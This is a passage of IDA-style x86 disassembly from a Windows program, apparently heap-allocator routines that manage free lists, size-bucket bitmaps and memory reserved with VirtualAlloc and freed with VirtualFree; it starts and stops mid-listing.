; --------------------------------------------------------------------------- loc_411965: ; CODE XREF: sub_41181A+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_411984 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_411984: ; CODE XREF: sub_41181A+128j ; sub_41181A+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41199C: ; CODE XREF: sub_41181A+11Dj mov esi, [ebp+arg_4] jmp short loc_4119A4 ; --------------------------------------------------------------------------- loc_4119A1: ; CODE XREF: sub_41181A+EDj mov ebx, [ebp+arg_0] loc_4119A4: ; CODE XREF: sub_41181A+185j cmp [ebp+var_C], 0 jnz short loc_4119B2 cmp ebx, edx jz loc_411A33 loc_4119B2: ; CODE XREF: sub_41181A+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_411A33 mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_411A0A cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4119F9 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_4119F9: ; CODE XREF: sub_41181A+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_411A33 ; --------------------------------------------------------------------------- loc_411A0A: ; CODE XREF: sub_41181A+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_411A20 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_411A20: ; CODE XREF: sub_41181A+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_411A33: ; CODE XREF: sub_41181A+192j ; sub_41181A+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_411B3E mov eax, dword_4BB8D0 test eax, eax jz loc_411B30 mov ecx, dword_4BB8C8 mov esi, dword_41A14C shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4BB8C8 mov eax, dword_4BB8D0 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4BB8D0 mov ecx, dword_4BB8C8 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4BB8D0 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4BB8D0 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_411AC1 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4BB8D0 loc_411AC1: ; CODE XREF: sub_41181A+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_411B30 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4BB8D0 push dword ptr [eax+10h] push 0 push dword_4BB8E0 call dword_41A124 ; RtlFreeHeap mov eax, dword_4BB8D4 mov edx, dword_4BB8D8 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4BB8D0 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_40F480 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4BB8D4 cmp eax, dword_4BB8D0 jbe short loc_411B26 sub [ebp+arg_0], 14h loc_411B26: ; CODE XREF: sub_41181A+306j mov eax, dword_4BB8D8 mov dword_4BB8CC, eax loc_411B30: ; CODE XREF: sub_41181A+234j ; sub_41181A+2ABj mov eax, [ebp+arg_0] mov dword_4BB8C8, edi mov dword_4BB8D0, eax loc_411B3E: ; CODE XREF: sub_41181A+38j ; sub_41181A+227j pop edi pop esi pop ebx leave retn sub_41181A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B43 proc near ; CODE XREF: sub_40E8C0+18p ; sub_414008+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4BB8D4 mov edx, dword_4BB8D8 push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_411B83 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_411B93 ; --------------------------------------------------------------------------- loc_411B83: ; CODE XREF: sub_411B43+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_411B93: ; CODE XREF: sub_411B43+3Ej mov eax, dword_4BB8CC mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_411BBA loc_411BA1: ; CODE XREF: sub_411B43+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_411BBA add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_411BA1 loc_411BBA: ; CODE XREF: sub_411B43+5Cj ; sub_411B43+6Aj cmp ebx, [ebp+var_4] jnz short loc_411C38 mov ebx, edx loc_411BC1: ; CODE XREF: sub_411B43+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_411BDD mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_411BDB add ebx, 14h jmp short loc_411BC1 ; --------------------------------------------------------------------------- loc_411BDB: ; CODE XREF: sub_411B43+91j cmp ebx, eax loc_411BDD: ; CODE XREF: sub_411B43+83j jnz short loc_411C38 loc_411BDF: ; CODE XREF: sub_411B43+ADj cmp ebx, [ebp+var_4] jnb short loc_411BF5 cmp dword ptr [ebx+8], 0 jnz short loc_411BF2 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_411BDF ; --------------------------------------------------------------------------- loc_411BF2: ; CODE XREF: sub_411B43+A5j cmp ebx, [ebp+var_4] loc_411BF5: ; CODE XREF: sub_411B43+9Fj jnz short loc_411C1D mov ebx, edx loc_411BF9: ; CODE XREF: sub_411B43+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_411C0D cmp dword ptr [ebx+8], 0 jnz short loc_411C0B add ebx, 14h jmp short loc_411BF9 ; --------------------------------------------------------------------------- loc_411C0B: ; CODE XREF: sub_411B43+C1j cmp ebx, eax loc_411C0D: ; CODE XREF: sub_411B43+BBj jnz short loc_411C1D call sub_411E4C mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_411C31 loc_411C1D: ; CODE XREF: sub_411B43:loc_411BF5j ; sub_411B43:loc_411C0Dj push ebx call sub_411EFD pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_411C38 loc_411C31: ; CODE XREF: sub_411B43+D8j xor eax, eax jmp loc_411E47 ; --------------------------------------------------------------------------- loc_411C38: ; CODE XREF: sub_411B43+7Aj ; sub_411B43:loc_411BDDj ... mov dword_4BB8CC, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_411C5F mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_411C96 loc_411C5F: ; CODE XREF: sub_411B43+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_411C93 loc_411C7C: ; CODE XREF: sub_411B43+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_411C7C loc_411C93: ; CODE XREF: sub_411B43+137j mov edx, [ebp+var_4] loc_411C96: ; CODE XREF: sub_411B43+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_411CBF mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_411CBF: ; CODE XREF: sub_411B43+16Dj ; sub_411B43+183j test ecx, ecx jl short loc_411CC8 shl ecx, 1 inc edi jmp short loc_411CBF ; --------------------------------------------------------------------------- loc_411CC8: ; CODE XREF: sub_411B43+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_411CE5 push 3Fh pop esi loc_411CE5: ; CODE XREF: sub_411B43+19Dj cmp esi, edi jz loc_411DFA mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_411D56 cmp edi, 20h jge short loc_411D25 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_411D53 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_411D56 ; --------------------------------------------------------------------------- loc_411D25: ; CODE XREF: sub_411B43+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_411D53 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_411D56 ; --------------------------------------------------------------------------- loc_411D53: ; CODE XREF: sub_411B43+1D6j ; sub_411B43+203j mov ebx, [ebp+arg_0] loc_411D56: ; CODE XREF: sub_411B43+1B0j ; sub_411B43+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_411E06 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_411DF7 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_411DC8 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_411DB6 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_411DB6: ; CODE XREF: sub_411B43+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_411DF7 ; --------------------------------------------------------------------------- loc_411DC8: ; CODE XREF: sub_411B43+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_411DE1 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_411DE1: ; CODE XREF: sub_411B43+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_411DF7: ; CODE XREF: sub_411B43+24Ej ; sub_411B43+283j mov ecx, [ebp+var_8] loc_411DFA: ; CODE XREF: sub_411B43+1A4j test ecx, ecx jz short loc_411E09 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_411E09 ; --------------------------------------------------------------------------- loc_411E06: ; CODE XREF: sub_411B43+229j mov ecx, [ebp+var_8] loc_411E09: ; CODE XREF: sub_411B43+2B9j ; sub_411B43+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_411E3F cmp ebx, dword_4BB8D0 jnz short loc_411E3F mov ecx, [ebp+var_4] cmp ecx, dword_4BB8C8 jnz short loc_411E3F and dword_4BB8D0, 0 loc_411E3F: ; CODE XREF: sub_411B43+2E0j ; sub_411B43+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_411E47: ; CODE XREF: sub_411B43+F0j pop edi pop esi pop ebx leave retn sub_411B43 endp ; =============== S U B R O U T I N E ======================================= sub_411E4C proc near ; CODE XREF: sub_411B43+CCp mov eax, dword_4BB8D4 mov ecx, dword_4BB8C4 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_411E8F lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4BB8D8 push edi push dword_4BB8E0 call dword_41A154 ; RtlReAllocateHeap cmp eax, edi jz short loc_411EDF add dword_4BB8C4, 10h mov dword_4BB8D8, eax mov eax, dword_4BB8D4 loc_411E8F: ; CODE XREF: sub_411E4C+11j mov ecx, dword_4BB8D8 push 41C4h push 8 lea eax, [eax+eax*4] push dword_4BB8E0 lea esi, [ecx+eax*4] call dword_41A120 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_411EDF push 4 push 2000h push 100000h push edi call dword_41A150 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_411EE3 push dword ptr [esi+10h] push edi push dword_4BB8E0 call dword_41A124 ; RtlFreeHeap loc_411EDF: ; CODE XREF: sub_411E4C+30j ; sub_411E4C+67j xor eax, eax jmp short loc_411EFA ; --------------------------------------------------------------------------- loc_411EE3: ; CODE XREF: sub_411E4C+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4BB8D4 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_411EFA: ; CODE XREF: sub_411E4C+95j pop edi pop esi retn sub_411E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411EFD proc near ; CODE XREF: sub_411B43+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_411F0F: ; CODE XREF: sub_411EFD+19j test eax, eax jl short loc_411F18 shl eax, 1 inc ebx jmp short loc_411F0F ; --------------------------------------------------------------------------- loc_411F18: ; CODE XREF: sub_411EFD+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_411F2D: ; CODE XREF: sub_411EFD+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_411F2D mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_41A150 ; VirtualAlloc test eax, eax jnz short loc_411F60 or eax, 0FFFFFFFFh jmp loc_411FF3 ; --------------------------------------------------------------------------- loc_411F60: ; CODE XREF: sub_411EFD+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_411FA6 lea eax, [edi+10h] loc_411F6D: ; CODE XREF: sub_411EFD+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_411F6D loc_411FA6: ; CODE XREF: sub_411EFD+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_411FE3 or [eax+4], edi loc_411FE3: ; CODE XREF: sub_411EFD+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_411FF3: ; CODE XREF: sub_411EFD+5Ej pop edi pop esi pop ebx leave retn sub_411EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411FF8 proc near ; CODE XREF: sub_414008+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_4121A6 test bl, 1 jnz loc_41219F add ebx, ecx cmp esi, ebx jg loc_41219F mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41206F push 3Fh pop ecx mov [ebp+var_8], ecx loc_41206F: ; CODE XREF: sub_411FF8+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4120BF cmp ecx, 20h jnb short loc_41209B mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_4120BF mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4120BF ; --------------------------------------------------------------------------- loc_41209B: ; CODE XREF: sub_411FF8+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4120BF mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4120BF: ; CODE XREF: sub_411FF8+7Dj ; sub_411FF8+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41218D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_4120F9 push 3Fh pop edi loc_4120F9: ; CODE XREF: sub_411FF8+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41217B mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_412152 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_412145 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_412145: ; CODE XREF: sub_411FF8+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_412177 ; --------------------------------------------------------------------------- loc_412152: ; CODE XREF: sub_411FF8+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_412168 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_412168: ; CODE XREF: sub_411FF8+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_412177: ; CODE XREF: sub_411FF8+158j shr edx, cl or [eax], edx loc_41217B: ; CODE XREF: sub_411FF8+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_412190 ; --------------------------------------------------------------------------- loc_41218D: ; CODE XREF: sub_411FF8+E5j mov edx, [ebp+arg_4] loc_412190: ; CODE XREF: sub_411FF8+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4122E6 ; --------------------------------------------------------------------------- loc_41219F: ; CODE XREF: sub_411FF8+52j ; sub_411FF8+5Cj xor eax, eax jmp loc_4122E9 ; --------------------------------------------------------------------------- loc_4121A6: ; CODE XREF: sub_411FF8+49j jge loc_4122E6 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_4121D1 push 3Fh pop esi loc_4121D1: ; CODE XREF: sub_411FF8+1D4j test byte ptr [ebp+var_4], 1 jnz loc_412260 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4121EA push 3Fh pop esi loc_4121EA: ; CODE XREF: sub_411FF8+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_412239 cmp esi, 20h jnb short loc_412215 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_412236 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_412236 ; --------------------------------------------------------------------------- loc_412215: ; CODE XREF: sub_411FF8+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_412236 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_412236: ; CODE XREF: sub_411FF8+214j ; sub_411FF8+21Bj ... mov ebx, [ebp+arg_4] loc_412239: ; CODE XREF: sub_411FF8+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_412260 push 3Fh pop esi loc_412260: ; CODE XREF: sub_411FF8+1DDj ; sub_411FF8+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4122DD mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_4122B4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4122A7 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4122A7: ; CODE XREF: sub_411FF8+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_4122D9 ; --------------------------------------------------------------------------- loc_4122B4: ; CODE XREF: sub_411FF8+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4122CA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4122CA: ; CODE XREF: sub_411FF8+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_4122D9: ; CODE XREF: sub_411FF8+2BAj shr edx, cl or [eax], edx loc_4122DD: ; CODE XREF: sub_411FF8+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4122E6: ; CODE XREF: sub_411FF8+1A2j ; sub_411FF8:loc_4121A6j push 1 pop eax loc_4122E9: ; CODE XREF: sub_411FF8+1A9j pop edi pop esi pop ebx leave retn sub_411FF8 endp ; =============== S U B R O U T I N E ======================================= sub_4122EE proc near ; CODE XREF: sub_41174A+41p ; sub_4125E6:loc_4127B5p cmp dword_4220B8, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_412302 mov esi, offset off_4220A8 jmp short loc_41231F ; --------------------------------------------------------------------------- loc_412302: ; CODE XREF: sub_4122EE+Bj push 2020h push 0 push dword_4BB8E0 call dword_41A120 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41242B loc_41231F: ; CODE XREF: sub_4122EE+12j mov ebp, dword_41A150 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_412414 push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_412406 mov eax, offset off_4220A8 cmp esi, eax jnz short loc_41237E cmp off_4220A8, 0 jnz short loc_41236E mov off_4220A8, eax loc_41236E: ; CODE XREF: sub_4122EE+79j cmp off_4220AC, 0 jnz short loc_412393 mov off_4220AC, eax jmp short loc_412393 ; --------------------------------------------------------------------------- loc_41237E: ; CODE XREF: sub_4122EE+70j mov [esi], eax mov eax, off_4220AC mov [esi+4], eax mov off_4220AC, esi mov eax, [esi+4] mov [eax], esi loc_412393: ; CODE XREF: sub_4122EE+87j ; sub_4122EE+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_4123B5: ; CODE XREF: sub_4122EE+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_4123B5 push ebx push 0 push edi call sub_40E800 add esp, 0Ch loc_4123DE: ; CODE XREF: sub_4122EE+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_412402 or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_4123DE ; --------------------------------------------------------------------------- loc_412402: ; CODE XREF: sub_4122EE+F7j mov eax, esi jmp short loc_41242D ; --------------------------------------------------------------------------- loc_412406: ; CODE XREF: sub_4122EE+63j push 8000h push 0 push edi call dword_41A14C ; VirtualFree loc_412414: ; CODE XREF: sub_4122EE+4Bj cmp esi, offset off_4220A8 jz short loc_41242B push esi push 0 push dword_4BB8E0 call dword_41A124 ; RtlFreeHeap loc_41242B: ; CODE XREF: sub_4122EE+2Bj ; sub_4122EE+12Cj xor eax, eax loc_41242D: ; CODE XREF: sub_4122EE+116j pop edi pop esi pop ebp pop ebx retn sub_4122EE endp ; =============== S U B R O U T I N E ======================================= sub_412432 proc near ; CODE XREF: sub_412488+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_41A14C ; VirtualFree cmp off_4240C8, esi jnz short loc_412457 mov eax, [esi+4] mov off_4240C8, eax loc_412457: ; CODE XREF: sub_412432+1Bj cmp esi, offset off_4220A8 jz short loc_41247F mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4BB8E0 call dword_41A124 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41247F: ; CODE XREF: sub_412432+2Bj or dword_4220B8, 0FFFFFFFFh pop esi retn sub_412432 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412488 proc near ; CODE XREF: sub_4125A1+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_4220AC push edi loc_412495: ; CODE XREF: sub_412488+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_412533 and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_4124AE: ; CODE XREF: sub_412488+72j cmp dword ptr [edi], 0F0h jnz short loc_4124EF mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_41A14C ; VirtualFree test eax, eax jz short loc_4124EF or dword ptr [edi], 0FFFFFFFFh dec dword_4BA2E4 mov eax, [esi+0Ch] test eax, eax jz short loc_4124E4 cmp eax, edi jbe short loc_4124E7 loc_4124E4: ; CODE XREF: sub_412488+56j mov [esi+0Ch], edi loc_4124E7: ; CODE XREF: sub_412488+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_4124FC loc_4124EF: ; CODE XREF: sub_412488+2Cj ; sub_412488+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_4124AE loc_4124FC: ; CODE XREF: sub_412488+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_412533 cmp dword ptr 